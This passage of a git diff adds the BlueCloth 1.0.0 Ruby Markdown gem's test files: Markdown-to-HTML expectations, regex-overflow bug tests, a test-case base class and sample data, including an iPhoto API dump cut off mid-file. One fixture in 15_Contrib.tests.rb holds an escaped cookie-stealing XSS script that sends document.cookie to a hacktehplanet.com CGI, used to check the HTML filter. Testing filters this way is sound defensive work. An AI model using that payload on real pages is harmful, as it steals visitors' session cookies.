    +>>> + +# Multi-paragraph list items +<<< +1. This is a list item with two paragraphs. Lorem ipsum dolor + sit amet, consectetuer adipiscing elit. Aliquam hendrerit + mi posuere lectus. + + Vestibulum enim wisi, viverra nec, fringilla in, laoreet + vitae, risus. Donec sit amet nisl. Aliquam semper ipsum + sit amet velit. + +2. Suspendisse id sem consectetuer libero luctus adipiscing. +--- Should become: +
      +
    1. This is a list item with two paragraphs. Lorem ipsum dolor +sit amet, consectetuer adipiscing elit. Aliquam hendrerit +mi posuere lectus.

      + +

      Vestibulum enim wisi, viverra nec, fringilla in, laoreet +vitae, risus. Donec sit amet nisl. Aliquam semper ipsum +sit amet velit.

    2. +
    3. Suspendisse id sem consectetuer libero luctus adipiscing.

    4. +
    +>>> + +# Lazy multi-paragraphs +<<< +* This is a list item with two paragraphs. + + This is the second paragraph in the list item. You're +only required to indent the first line. Lorem ipsum dolor +sit amet, consectetuer adipiscing elit. + +* Another item in the same list. +--- Should become: +
      +
    • This is a list item with two paragraphs.

      + +

      This is the second paragraph in the list item. You're +only required to indent the first line. Lorem ipsum dolor +sit amet, consectetuer adipiscing elit.

    • +
    • Another item in the same list.

    • +
    +>>> + +# Blockquote in list item +<<< +* A list item with a blockquote: + + > This is a blockquote + > inside a list item. +--- Should become: +
      +
    • A list item with a blockquote:

      + +
      +

      This is a blockquote + inside a list item.

      +
    • +
    +>>> + +# Code block in list item +<<< +* A list item with a code block: + + +--- Should become: +
      +
    • A list item with a code block:

      + +
      <code goes here>
      +
    • +
    +>>> + +# Backslash-escaped number-period-space +<<< +1986\. What a great season. +--- Should become: +

    1986. What a great season.

    +>>> + diff --git a/vendor/gems/BlueCloth-1.0.0/tests/10_Bug.tests.rb b/vendor/gems/BlueCloth-1.0.0/tests/10_Bug.tests.rb new file mode 100644 index 0000000..5fee25a --- /dev/null +++ b/vendor/gems/BlueCloth-1.0.0/tests/10_Bug.tests.rb @@ -0,0 +1,57 @@ +#!/usr/bin/ruby +# +# Unit test for bugs found in BlueCloth +# $Id: 10_Bug.tests.rb 68 2004-08-25 05:14:37Z ged $ +# +# Copyright (c) 2004 The FaerieMUD Consortium. +# + +if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase ) + basedir = File::dirname( __FILE__ ) + require File::join( basedir, 'bctestcase' ) +end + + +require 'timeout' + +### This test case tests ... +class BugsTestCase < BlueCloth::TestCase + BaseDir = File::dirname( File::dirname(File::expand_path( __FILE__ )) ) + + ### Test to be sure the README file can be transformed. + def test_00_slow_block_regex + contents = File::read( File::join(BaseDir,"README") ) + bcobj = BlueCloth::new( contents ) + + assert_nothing_raised { + timeout( 2 ) do + bcobj.to_html + end + } + end + + ### :TODO: Add more documents and test their transforms. + + def test_10_regexp_engine_overflow_bug + contents = File::read( File::join(BaseDir,"tests/data/re-overflow.txt") ) + bcobj = BlueCloth::new( contents ) + + assert_nothing_raised { + bcobj.to_html + } + end + + def test_15_regexp_engine_overflow_bug2 + contents = File::read( File::join(BaseDir,"tests/data/re-overflow2.txt") ) + bcobj = BlueCloth::new( contents ) + + assert_nothing_raised { + bcobj.to_html + } + end + +end + + +__END__ + diff --git a/vendor/gems/BlueCloth-1.0.0/tests/15_Contrib.tests.rb b/vendor/gems/BlueCloth-1.0.0/tests/15_Contrib.tests.rb new file mode 100644 index 0000000..94d699a --- /dev/null +++ b/vendor/gems/BlueCloth-1.0.0/tests/15_Contrib.tests.rb @@ -0,0 +1,132 @@ +#!/usr/bin/ruby +# +# Unit test for contributed features +# $Id: TEMPLATE.rb.tpl,v 1.2 2003/09/11 04:59:51 deveiant Exp $ +# +# Copyright (c) 2004 The FaerieMUD Consortium. +# + +if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase ) + basedir = File::dirname( __FILE__ ) + require File::join( basedir, 'bctestcase' ) +end + + + +### This test case tests ... +class ContribTestCase < BlueCloth::TestCase + + DangerousHtml = + "" + DangerousHtmlOutput = + "

    <script>document.location='http://www.hacktehplanet.com" + + "/cgi-bin/cookie.cgi?' + document.cookie</script>

    " + DangerousStylesOutput = + "" + NoLessThanHtml = "Foo is definitely > than bar" + NoLessThanOutput = "

    Foo is definitely > than bar

    " + + + ### HTML filter options contributed by Florian Gross. + + ### Test the :filter_html restriction + def test_10_filter_html + printTestHeader "filter_html Option" + rval = bc = nil + + # Test as a 1st-level param + assert_nothing_raised { + bc = BlueCloth::new( DangerousHtml, :filter_html ) + } + assert_instance_of BlueCloth, bc + + # Accessors + assert_nothing_raised { rval = bc.filter_html } + assert_equal true, rval + assert_nothing_raised { rval = bc.filter_styles } + assert_equal nil, rval + + # Test rendering with filters on + assert_nothing_raised { rval = bc.to_html } + assert_equal DangerousHtmlOutput, rval + + # Test setting it in a sub-array + assert_nothing_raised { + bc = BlueCloth::new( DangerousHtml, [:filter_html] ) + } + assert_instance_of BlueCloth, bc + + # Accessors + assert_nothing_raised { rval = bc.filter_html } + assert_equal true, rval + assert_nothing_raised { rval = bc.filter_styles } + assert_equal nil, rval + + # Test rendering with filters on + assert_nothing_raised { rval = bc.to_html } + assert_equal DangerousHtmlOutput, rval + end + + + ### Test the :filter_styles restriction + def test_20_filter_styles + printTestHeader "filter_styles Option" + rval = bc = nil + + # Test as a 1st-level param + assert_nothing_raised { + bc = BlueCloth::new( DangerousHtml, :filter_styles ) + } + assert_instance_of BlueCloth, bc + + # Accessors + assert_nothing_raised { rval = bc.filter_styles } + assert_equal true, rval + assert_nothing_raised { rval = bc.filter_html } + assert_equal nil, rval + + # Test rendering with filters on + assert_nothing_raised { rval = bc.to_html } + assert_equal DangerousStylesOutput, rval + + # Test setting it in a subarray + assert_nothing_raised { + bc = BlueCloth::new( DangerousHtml, [:filter_styles] ) + } + assert_instance_of BlueCloth, bc + + # Accessors + assert_nothing_raised { rval = bc.filter_styles } + assert_equal true, rval + assert_nothing_raised { rval = bc.filter_html } + assert_equal nil, rval + + # Test rendering with filters on + assert_nothing_raised { rval = bc.to_html } + assert_equal DangerousStylesOutput, rval + + end + + + ### Test to be sure filtering when there's no opening angle brackets doesn't + ### die. + def test_30_filter_no_less_than + printTestHeader "filter without a less-than" + rval = bc = nil + + # Test as a 1st-level param + assert_nothing_raised { + bc = BlueCloth::new( NoLessThanHtml, :filter_html ) + } + assert_instance_of BlueCloth, bc + + assert_nothing_raised { rval = bc.to_html } + assert_equal NoLessThanOutput, rval + end + + + +end + diff --git a/vendor/gems/BlueCloth-1.0.0/tests/bctestcase.rb b/vendor/gems/BlueCloth-1.0.0/tests/bctestcase.rb new file mode 100644 index 0000000..002d1ed --- /dev/null +++ b/vendor/gems/BlueCloth-1.0.0/tests/bctestcase.rb @@ -0,0 +1,274 @@ +#!/usr/bin/ruby +# +# This is an abstract test case class for building Test::Unit unit tests for the +# BlueCloth module. It consolidates most of the maintenance work that must be +# done to build a test file by adjusting the $LOAD_PATH appropriately, as well +# as adding some other useful methods that make building, maintaining, and using +# the tests for programming much easier (IMHO). See the docs for Test::Unit for +# more info on the particulars of unit testing. +# +# == Synopsis +# +# # Allow the test to be run from anywhere: +# if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase ) +# basedir = File::dirname( __FILE__ ) +# require File::join( basedir, 'bctestcase' ) +# end +# +# class MySomethingTest < BlueCloth::TestCase +# def setup +# super() +# @foo = 'bar' +# end +# +# def test_00_something +# obj = nil +# assert_nothing_raised { obj = MySomething::new } +# assert_instance_of MySomething, obj +# assert_respond_to :myMethod, obj +# end +# +# end +# +# == Rcsid +# +# $Id: lingtestcase.rb,v 1.3 2003/09/11 05:00:56 deveiant Exp $ +# +# == Authors +# +# * Michael Granger +# +#:include: COPYRIGHT +# +#--- +# +# Please see the file COPYRIGHT in the 'docs' directory for licensing details. +# + +$DebugPattern ||= nil + +begin + basedir = File::dirname( File::dirname(__FILE__) ) + unless $LOAD_PATH.include?( "#{basedir}/lib" ) + $LOAD_PATH.unshift "#{basedir}/lib" + end +end + +require "test/unit" +require "bluecloth" + + +class BlueCloth + + ### The abstract base class for BlueCloth test cases. + class TestCase < Test::Unit::TestCase + + @methodCounter = 0 + @setupBlocks = [] + @teardownBlocks = [] + class << self + attr_accessor :methodCounter, :setupBlocks, :teardownBlocks + end + + + ### Inheritance callback -- adds @setupBlocks and @teardownBlocks ivars + ### and accessors to the inheriting class. + def self::inherited( klass ) + klass.module_eval { + @setupBlocks = [] + @teardownBlocks = [] + + class << self + attr_accessor :setupBlocks, :teardownBlocks + end + } + klass.methodCounter = 0 + end + + + + ### Output the specified msgs joined together to + ### STDERR if $DEBUG is set. + def self::debugMsg( *msgs ) + return unless $DEBUG + self.message "DEBUG>>> %s" % msgs.join('') + end + + ### Output the specified msgs joined together to + ### STDOUT. + def self::message( *msgs ) + $stderr.puts msgs.join('') + $stderr.flush + end + + + ### Add a setup block for the current testcase + def self::addSetupBlock( &block ) + self.methodCounter += 1 + newMethodName = "setup_#{self.methodCounter}".intern + define_method( newMethodName, &block ) + self.setupBlocks.push newMethodName + end + + ### Add a teardown block for the current testcase + def self::addTeardownBlock( &block ) + self.methodCounter += 1 + newMethodName = "teardown_#{self.methodCounter}".intern + define_method( newMethodName, &block ) + self.teardownBlocks.unshift newMethodName + end + + + ############################################################# + ### I N S T A N C E M E T H O D S + ############################################################# + + ### A dummy test method to allow this Test::Unit::TestCase to be + ### subclassed without complaining about the lack of tests. + def test_0_dummy + end + + + ### Forward-compatibility method for namechange in Test::Unit + def setup( *args ) + self.class.setupBlocks.each {|sblock| + debugMsg "Calling setup block method #{sblock}" + self.send( sblock ) + } + super( *args ) + end + alias_method :set_up, :setup + + + ### Forward-compatibility method for namechange in Test::Unit + def teardown( *args ) + super( *args ) + self.class.teardownBlocks.each {|tblock| + debugMsg "Calling teardown block method #{tblock}" + self.send( tblock ) + } + end + alias_method :tear_down, :teardown + + + ### Skip the current step (called from #setup) with the +reason+ given. + def skip( reason=nil ) + if reason + msg = "Skipping %s: %s" % [ @method_name, reason ] + else + msg = "Skipping %s: No reason given." % @method_name + end + + $stderr.puts( msg ) if $VERBOSE + @method_name = :skipped_test + end + + + def skipped_test # :nodoc: + end + + + ### Add the specified +block+ to the code that gets executed by #setup. + def addSetupBlock( &block ); self.class.addSetupBlock( &block ); end + + + ### Add the specified +block+ to the code that gets executed by #teardown. + def addTeardownBlock( &block ); self.class.addTeardownBlock( &block ); end + + + ### Instance alias for the like-named class method. + def message( *msgs ) + self.class.message( *msgs ) + end + + + ### Instance alias for the like-named class method + def debugMsg( *msgs ) + self.class.debugMsg( *msgs ) + end + + + ### Output a separator line made up of length of the specified + ### char. + def writeLine( length=75, char="-" ) + $stderr.puts "\r" + (char * length ) + end + + + ### Output a header for delimiting tests + def printTestHeader( desc ) + return unless $VERBOSE || $DEBUG + message ">>> %s <<<" % desc + end + + + ### Try to force garbage collection to start. + def collectGarbage + a = [] + 1000.times { a << {} } + a = nil + GC.start + end + + + ### Output the name of the test as it's running if in verbose mode. + def run( result ) + $stderr.puts self.name if $VERBOSE || $DEBUG + + # Support debugging for individual tests + olddb = nil + if $DebugPattern && $DebugPattern =~ @method_name + olddb = $DEBUG + $DEBUG = true + end + + super + + $DEBUG = olddb unless olddb.nil? + end + + + ############################################################# + ### E X T R A A S S E R T I O N S + ############################################################# + + ### Negative of assert_respond_to + def assert_not_respond_to( obj, meth ) + msg = "%s expected NOT to respond to '%s'" % + [ obj.inspect, meth ] + assert_block( msg ) { + !obj.respond_to?( meth ) + } + end + + + ### Assert that the instance variable specified by +sym+ of an +object+ + ### is equal to the specified +value+. The '@' at the beginning of the + ### +sym+ will be prepended if not present. + def assert_ivar_equal( value, object, sym ) + sym = "@#{sym}".intern unless /^@/ =~ sym.to_s + msg = "Instance variable '%s'\n\tof <%s>\n\texpected to be <%s>\n" % + [ sym, object.inspect, value.inspect ] + msg += "\tbut was: <%s>" % object.instance_variable_get(sym) + assert_block( msg ) { + value == object.instance_variable_get(sym) + } + end + + + ### Assert that the specified +object+ has an instance variable which + ### matches the specified +sym+. The '@' at the beginning of the +sym+ + ### will be prepended if not present. + def assert_has_ivar( sym, object ) + sym = "@#{sym}" unless /^@/ =~ sym.to_s + msg = "Object <%s> expected to have an instance variable <%s>" % + [ object.inspect, sym ] + assert_block( msg ) { + object.instance_variables.include?( sym.to_s ) + } + end + + end # class TestCase + +end # class BlueCloth + diff --git a/vendor/gems/BlueCloth-1.0.0/tests/data/antsugar.txt b/vendor/gems/BlueCloth-1.0.0/tests/data/antsugar.txt new file mode 100644 index 0000000..629dda3 --- /dev/null +++ b/vendor/gems/BlueCloth-1.0.0/tests/data/antsugar.txt @@ -0,0 +1,34 @@ +The Ant-Sugar Tales +=================== + +By Candice Yellowflower + +The _Ant-Sugar Tales_ is a collection of short stories told from the +perspective of a fine young lady from [Venice][1], who has some run-ins +with a few [inquisitive insects][2]. Each tale presents a moral quandry, +which the ants are quick to solve with their antly wisdom and +know-how. Some of the moral lessons presented are: + +* Laundry: How not to get caught in soiled knickers. +* Used Ticket Stubs and Their Impact on the Universe +* I'm Keeping a Birdhouse in my Attic + +Use of Metaphor +--------------- + +The author's splended use of metaphor can be attributed to her growing +up in a art-supply store. Her characters are richly outlined, but her +unusual descriptions can sometimes be a bit jarring in places, such as +her description of the old caretaker that lives inside a hollow tree in +her yard: + +> His skin was smooth like Magnani Pescia 100% acid-free cold pressed +> 22x30" Soft White Paper, with fine hair like the bristles of a Habico +> Lasur Superb Oil Glazing Brush Size 10. + + + [1]: http://www.azureva.com/gb/italie/mags/grand-canal.php3 + (Venice: The Grand Canal) + [2]: http://www.fortunecity.com/emachines/e11/86/tourist4d.html + + diff --git a/vendor/gems/BlueCloth-1.0.0/tests/data/ml-announce.txt b/vendor/gems/BlueCloth-1.0.0/tests/data/ml-announce.txt new file mode 100644 index 0000000..78a1018 --- /dev/null +++ b/vendor/gems/BlueCloth-1.0.0/tests/data/ml-announce.txt @@ -0,0 +1,17 @@ +Hi, + +I'd like to announce the alpha release of a Markdown library for [Ruby][1] +called "BlueCloth". It's mostly a direct port of the most recent Perl version, +minus the various plugin hooks and whatnot. + +More information can be found on [the project page][2], or feel free to ask me +directly. I don't have much in the way of a demo yet, but will be working on +getting something set up in the coming days. + + [1]: http://www.ruby-lang.org/ + [2]: http://bluecloth.rubyforge.org/ + +-- +Michael Granger +Rubymage, Believer, Architect +The FaerieMUD Consortium diff --git a/vendor/gems/BlueCloth-1.0.0/tests/data/re-overflow.txt b/vendor/gems/BlueCloth-1.0.0/tests/data/re-overflow.txt new file mode 100644 index 0000000..f54e91e --- /dev/null +++ b/vendor/gems/BlueCloth-1.0.0/tests/data/re-overflow.txt @@ -0,0 +1,67 @@ +* xx xxxxxxx xx xxxxxx. + +* xxx xxxxxxx xxxx xx xxxxxxxxxxx xx: + + * xxxxxxx xxxxxxx: xxxxx xxxx xxxx xxxxxxx xxxxxxx xxxxxxxx xxxxxx xx + xxxxxxx xxx xxxxxxxxx, xxx x xxxxx xxxxx xxx xxxxxxxx xx xxx xxxxxx xxxx + xxx xx xxxxxxxxx xx xxxx. + + xxxxx xxxxxxx xx xxx xxxx xx xx xxxxxxxxx, xxx xxxx xxxxxx xx xxxxxxx xxxx + xxx xxxxxxx'x xxxxxx xxx. xx xxxxxxxx xxxxxxxxxxxxx xxxxxxxx. + + * xxxxxxxxx xxxxxxx: xxxxx xxxx xxx xxxxx xx xxxxx xxx xxxxxxxx xxxxxxxxx + xx xxx xxxxxxxx, xxx xxxxx xxxxx xxxx xxxx xxxxx xxxxxxxxxxxx xx xxx + xxxxxxxxxxx xxxx xxx xx xxxxxxxxx xx xxxx. + + xxxxx xxxxxxx xxx xx xxxxxxxxx xxxxxx xxx-xxxx xxxxx (xx xx xxxxxxxxxx) + xx, xx xxxxxxxxx xxxxxxxx xxxxxxx xx xxxxxxxx xx xxxxxx xxx xxxxxxx + xxxxxxx xx xxx xxxxxxx, xxxxxx xxx xxxx xxx. + + xxxxx xxxxxxxxxx xxx xxxx xxxx xx xxxxxxxxx xxx xx xxxxx xxx xxxxx xxxxx + xxx xxxx xxx xxxx xxxxxxxxx. xxxxxxxx xxxxxxxxxxxxx xxx xxxx-xxxxxxxxx, + xxxx xx xxxxxx xxx xxxx. + + * xxxxx xxxxxxx: xxxxx xxxx xxxxxx xxxx xxxxxxx xx xxxxxxx x xxxxxxxxxxx + xxxxxx, xxxxxxx xx xxxxxxx xxxxxxxxxxxx. xxxxx xxxxxxx xxxx xx xxxxxxxxx + xxxxxx xxx-xxxx xxxxx. + + xxxxxx xxxxxxxxx xxx x xxxx xxxxxxxxx, xxxx xx x-xxxx. + +* xxxx xxx x xxxxxx xxxxxxx xxxx: xxxxx xxxxxxx xxxx xx xxxxxxxx, xxx xxxxxxx + xxx xxx xxxxxx, xxx xxxxx, xxx xxxxxxxxx xxx xxxxxxx xxxx xxx xxxxxxx + xxxxxxxx xxxx, xxx xxxx-xxx xxxx, xxx xxxxxxxx xx xxx xxxx, xxx xxx xxxxxxxx + xx xxx xxxxxxxxx xxxx-xxx. + +* xxx xxxxxxxxxxxx xxxxxxxxxxx (x.x.x. xxx xxxxxxxx xx xxxxxxx xxxxxxxx, xx + xxxxxxxx xxxxxx, xxx.), xxx xxxxxxx xxxxxxxxxxx xx x xxxxxx xxxxxxx xxxx + xxxx xx xxxxxxxxx: x xxxx-xxxxxx xx xxxx-xxxxx xxxxxxxx xx xxx xxxxxxxxxx. + +* xxx xxx xxxx xxxxxxx xxx, xx xxxxx xxxxxx xx xxxx xx xxx xxxxxxx'x xxxxxx + xxx. xxxxxxxx xxxxxxx xxxxxx xx xxxx xxx xxxxxxx xxxxxxx. + + x xxxxxx xxx xxx xxxxxxx xxxx xx xxxx xx xxxxxxxx. xxxxx xxxxxxxxxxxxx + xxxxxx xx x xxxxxx xxxx xx xxxxxxx xxxx xxxx xxxxxx'x xxxxxx xxx xxx xxxx + xxxxxxx xxx xxxxxxxxx xxxxxxxxxxx: + + * xxxxxxxxx xx xxxxxx xxxxxxx xxxxxx xxxx xxxxxx (xx xxxxx xxxxxx xx xx + xxxxxxxxxx). + + * xxxxxxxxxxx xx xxxx xxxxxxx xxx. + + * xxxx xx xxxxx xxxxxxx xx xxx xxxxxx. + + * xxxx xxx xxxx xx xxxxxx xx xxxx-xx-xx xx:xx xxx (xx xxx) xxxxxx. + + * xxxx xxx xxxxxxxx xx xxxxxxxxxxx xx xxxxxx. + +* xxxxxx xx xxxxxxx xxxx xx xxxxxxxx xxxxxxx xxx xxxx xxxx xx xxxxxx + xxxxx-xxxxxxxxxxxx xxxxxx xxxxxxxxxx xxxxxxx. xxxxxxxx xxxxxxx xxx xx + xxxxxxxx xx xxxxxxxxxxx xx xxxx xxxx. + +* xx x xxxxx xxxx: + + * xxxx xxxxxxx xxxxxx xxxx x xxxxx-xxx xxx xxxxxx xxxxxxx, xxxxxxxx xxxxxxx, + xxx xxxxxxxx xxxxx xxxxxxx xxxx xxxxxxxx xxxxxxx, xx xxx xxx. xxxxxxx, + xxxx xxxxxx xxx xxxx xx xxx xxxxxxx xx xxx xxxxxx xx xxx xxxxxxx xxxxxx + -- xxxxx xxx, xx xxxxx xxxxxx xxxxx xx xxxxx xxx xxxx xxxxxxxx -- xxx xxxx + xxxxx xxx xxx xxxxxxxx xx xxxxxxxxx xxxxxx-xxxxxxxx xxxxxxxx. diff --git a/vendor/gems/BlueCloth-1.0.0/tests/data/re-overflow2.txt b/vendor/gems/BlueCloth-1.0.0/tests/data/re-overflow2.txt new file mode 100644 index 0000000..cead316 --- /dev/null +++ b/vendor/gems/BlueCloth-1.0.0/tests/data/re-overflow2.txt @@ -0,0 +1,281 @@ +iFotobilder will be an iPhoto export plugin that will let you manage your Fotobilder pictures through iPhoto. + +## Getting Started + +Since iPhoto's APIs aren't public, and because my Objective C is extremely rusty, I wanted a couple of examples of other people's plugins before I dove into this. + +Here's what I found: + +* [Writing Plugins for Cocoa][1] + +[1]: http://www.stone.com/The_Cocoa_Files/Writing_PlugIns.html + +## The iPhoto Export API + +Using the `class-dump` tool, I dumped the export API: + + /* + * Generated by class-dump 3.0. + * + * class-dump is Copyright (C) 1997-1998, 2000-2001, 2004 by Steve Nygard. + */ + + /* + * File: /Applications/iPhoto.app/Contents/MacOS/iPhoto + */ + + @protocol ExportImageProtocol + - (unsigned int)imageCount; + - (BOOL)imageIsPortraitAtIndex:(unsigned int)fp20; + - (struct _NSSize)imageSizeAtIndex:(unsigned int)fp16; + - (unsigned int)imageFormatAtIndex:(unsigned int)fp16; + - (id)imageCaptionAtIndex:(unsigned int)fp16; + - (id)imagePathAtIndex:(unsigned int)fp16; + - (id)thumbnailPathAtIndex:(unsigned int)fp16; + - (id)imageDictionaryAtIndex:(unsigned int)fp16; + - (float)imageAspectRatioAtIndex:(unsigned int)fp16; + - (id)albumName; + - (id)albumMusicPath; + - (unsigned int)albumCount; + - (unsigned int)albumPositionOfImageAtIndex:(unsigned int)fp16; + - (id)window; + - (void)enableControls; + - (void)disableControls; + - (void)clickExport; + - (void)startExport; + - (void)cancelExport; + - (void)cancelExportBeforeBeginning; + - (id)directoryPath; + - (id)temporaryDirectory; + - (BOOL)doesFileExist:(id)fp16; + - (BOOL)doesDirectoryExist:(id)fp16; + - (BOOL)createDir:(id)fp16; + - (id)uniqueSubPath:(id)fp12 child:(id)fp20; + - (id)makeUniquePath:(id)fp16; + - (id)makeUniqueFilePath:(id)fp12 extension:(id)fp20; + - (id)makeUniqueFileNameWithTime:(id)fp16; + - (BOOL)makeFSSpec:(id)fp12 spec:(struct FSSpec *)fp20; + - (id)pathForFSSpec:(id)fp16; + - (BOOL)getFSRef:(struct FSRef *)fp12 forPath:(id)fp16 isDirectory:(BOOL)fp27; + - (id)pathForFSRef:(struct FSRef *)fp16; + - (unsigned long)countFiles:(id)fp12 descend:(BOOL)fp23; + - (unsigned long)countFilesFromArray:(id)fp12 descend:(BOOL)fp23; + - (unsigned long long)sizeAtPath:(id)fp12 count:(unsigned long *)fp16 physical:(BOOL)fp27; + - (BOOL)isAliasFileAtPath:(id)fp16; + - (id)pathContentOfAliasAtPath:(id)fp16; + - (id)stringByResolvingAliasesInPath:(id)fp16; + - (BOOL)ensurePermissions:(unsigned long)fp12 forPath:(id)fp20; + - (id)validFilename:(id)fp16; + - (id)getExtensionForImageFormat:(unsigned int)fp16; + - (unsigned int)getImageFormatForExtension:(id)fp16; + - (struct OpaqueGrafPtr *)uncompressImage:(id)fp12 size:(struct _NSSize)fp16 pixelFormat:(unsigned int)fp24 rotation:(float)fp32; + - (void *)createThumbnailer; + - (void *)retainThumbnailer:(void *)fp16; + - (void *)autoreleaseThumbnailer:(void *)fp16; + - (void)releaseThumbnailer:(void *)fp16; + - (void)setThumbnailer:(void *)fp16 maxBytes:(unsigned int)fp20 maxWidth:(unsigned int)fp24 maxHeight:(unsigned int)fp32; + - (struct _NSSize)thumbnailerMaxBounds:(void *)fp16; + - (void)setThumbnailer:(void *)fp12 quality:(int)fp20; + - (int)thumbnailerQuality:(void *)fp16; + - (void)setThumbnailer:(void *)fp12 rotation:(float)fp20; + - (float)thumbnailerRotation:(void *)fp16; + - (void)setThumbnailer:(void *)fp12 outputFormat:(unsigned int)fp20; + - (unsigned int)thumbnailerOutputFormat:(void *)fp16; + - (void)setThumbnailer:(void *)fp12 outputExtension:(id)fp20; + - (id)thumbnailerOutputExtension:(void *)fp16; + - (BOOL)thumbnailer:(void *)fp16 createThumbnail:(id)fp20 dest:(id)fp28; + - (struct _NSSize)lastImageSize:(void *)fp20; + - (struct _NSSize)lastThumbnailSize:(void *)fp16; + @end + + @protocol ExportPluginBoxProtocol + - (BOOL)performKeyEquivalent:(id)fp16; + @end + + @protocol ExportPluginProtocol + - (id)initWithExportImageObj:(id)fp16; + - (id)settingsView; + - (id)firstView; + - (id)lastView; + - (void)viewWillBeActivated; + - (void)viewWillBeDeactivated; + - (id)requiredFileType; + - (BOOL)wantsDestinationPrompt; + - (id)getDestinationPath; + - (id)defaultFileName; + - (id)defaultDirectory; + - (BOOL)treatSingleSelectionDifferently; + - (BOOL)validateUserCreatedPath:(id)fp16; + - (void)clickExport; + - (void)startExport:(id)fp16; + - (void)performExport:(id)fp16; + - (CDAnonymousStruct12 *)progress; + - (void)lockProgress; + - (void)unlockProgress; + - (void)cancelExport; + - (id)name; + - (id)description; + @end + + @interface ExportController : NSObject + { + id mWindow; + id mExportView; + id mExportButton; + id mImageCount; + ExportMgr *mExportMgr; + ExportMgrRec *mCurrentPluginRec; + ProgressController *mProgressController; + BOOL mCancelExport; + NSTimer *mTimer; + NSString *mDirectoryPath; + } + + - (void)awakeFromNib; + - (void)dealloc; + - (id)currentPlugin; + - (id)currentPluginRec; + - (void)setCurrentPluginRec:(id)fp12; + - (id)directoryPath; + - (void)setDirectoryPath:(id)fp12; + - (void)show; + - (void)_openPanelDidEnd:(id)fp12 returnCode:(int)fp16 contextInfo:(void *)fp20; + - (id)panel:(id)fp12 userEnteredFilename:(id)fp16 confirmed:(BOOL)fp20; + - (BOOL)panel:(id)fp12 shouldShowFilename:(id)fp16; + - (BOOL)panel:(id)fp12 isValidFilename:(id)fp16; + - (BOOL)filesWillFitOnDisk; + - (void)export:(id)fp12; + - (void)_exportThread:(id)fp12; + - (void)_exportProgress:(id)fp12; + - (void)startExport:(id)fp12; + - (void)finishExport; + - (void)cancelExport; + - (void)cancel:(id)fp12; + - (void)enableControls; + - (id)window; + - (void)disableControls; + - (void)tabView:(id)fp12 willSelectTabViewItem:(id)fp16; + - (void)tabView:(id)fp12 didSelectTabViewItem:(id)fp16; + - (void)selectExporter:(id)fp12; + - (id)exportView; + - (BOOL)_hasPlugins; + - (void)_resizeExporterToFitView:(id)fp12; + - (void)_updateImageCount; + + @end + + @interface ExportMgr : NSObject + { + ArchiveDocument *mDocument; + NSMutableArray *mExporters; + Album *mExportAlbum; + NSArray *mSelection; + ExportController *mExportController; + } + + + (id)exportMgr; + + (id)exportMgrNoAlloc; + - (id)init; + - (void)dealloc; + - (void)releasePlugins; + - (void)setExportController:(id)fp12; + - (id)exportController; + - (void)setDocument:(id)fp12; + - (id)document; + - (void)updateDocumentSelection; + - (unsigned int)count; + - (id)recAtIndex:(unsigned int)fp12; + - (void)scanForExporters; + - (unsigned int)imageCount; + - (BOOL)imageIsPortraitAtIndex:(unsigned int)fp12; + - (id)imagePathAtIndex:(unsigned int)fp12; + - (struct _NSSize)imageSizeAtIndex:(unsigned int)fp16; + - (unsigned int)imageFormatAtIndex:(unsigned int)fp12; + - (id)imageCaptionAtIndex:(unsigned int)fp12; + - (id)thumbnailPathAtIndex:(unsigned int)fp12; + - (id)imageDictionaryAtIndex:(unsigned int)fp12; + - (float)imageAspectRatioAtIndex:(unsigned int)fp12; + - (id)albumName; + - (id)albumMusicPath; + - (unsigned int)albumCount; + - (unsigned int)albumPositionOfImageAtIndex:(unsigned int)fp12; + - (id)imageRecAtIndex:(unsigned int)fp12; + - (id)currentAlbum; + - (void)enableControls; + - (void)disableControls; + - (id)window; + - (void)clickExport; + - (void)startExport; + - (void)cancelExport; + - (void)cancelExportBeforeBeginning; + - (id)directoryPath; + - (void)_copySelection:(id)fp12; + - (id)temporaryDirectory; + - (BOOL)doesFileExist:(id)fp12; + - (BOOL)doesDirectoryExist:(id)fp12; + - (BOOL)createDir:(id)fp12; + - (id)uniqueSubPath:(id)fp12 child:(id)fp16; + - (id)makeUniquePath:(id)fp12; + - (id)makeUniqueFilePath:(id)fp12 extension:(id)fp16; + - (id)makeUniqueFileNameWithTime:(id)fp12; + - (BOOL)makeFSSpec:(id)fp12 spec:(struct FSSpec *)fp16; + - (id)pathForFSSpec:(id)fp12; + - (BOOL)getFSRef:(struct FSRef *)fp12 forPath:(id)fp16 isDirectory:(BOOL)fp20; + - (id)pathForFSRef:(struct FSRef *)fp12; + - (unsigned long)countFiles:(id)fp12 descend:(BOOL)fp16; + - (unsigned long)countFilesFromArray:(id)fp12 descend:(BOOL)fp16; + - (unsigned long long)sizeAtPath:(id)fp12 count:(unsigned long *)fp16 physical:(BOOL)fp20; + - (BOOL)isAliasFileAtPath:(id)fp12; + - (id)pathContentOfAliasAtPath:(id)fp12; + - (id)stringByResolvingAliasesInPath:(id)fp12; + - (BOOL)ensurePermissions:(unsigned long)fp12 forPath:(id)fp16; + - (id)validFilename:(id)fp12; + - (id)getExtensionForImageFormat:(unsigned int)fp12; + - (unsigned int)getImageFormatForExtension:(id)fp12; + - (struct OpaqueGrafPtr *)uncompressImage:(id)fp12 size:(struct _NSSize)fp16 pixelFormat:(unsigned int)fp24 rotation:(float)fp36; + - (void *)createThumbnailer; + - (void *)retainThumbnailer:(void *)fp12; + - (void *)autoreleaseThumbnailer:(void *)fp12; + - (void)releaseThumbnailer:(void *)fp12; + - (void)setThumbnailer:(void *)fp12 maxBytes:(unsigned int)fp16 maxWidth:(unsigned int)fp20 maxHeight:(unsigned int)fp24; + - (struct _NSSize)thumbnailerMaxBounds:(void *)fp16; + - (void)setThumbnailer:(void *)fp12 quality:(int)fp16; + - (int)thumbnailerQuality:(void *)fp12; + - (void)setThumbnailer:(void *)fp12 rotation:(float)fp36; + - (float)thumbnailerRotation:(void *)fp12; + - (void)setThumbnailer:(void *)fp12 outputFormat:(unsigned int)fp16; + - (unsigned int)thumbnailerOutputFormat:(void *)fp12; + - (void)setThumbnailer:(void *)fp12 outputExtension:(id)fp16; + - (id)thumbnailerOutputExtension:(void *)fp12; + - (BOOL)thumbnailer:(void *)fp12 createThumbnail:(id)fp16 dest:(id)fp20; + - (struct _NSSize)lastImageSize:(void *)fp16; + - (struct _NSSize)lastThumbnailSize:(void *)fp16; + + @end + + @interface ExportMgrRec : NSObject + { + NSString *mPath; + NSBundle *mBundle; + id 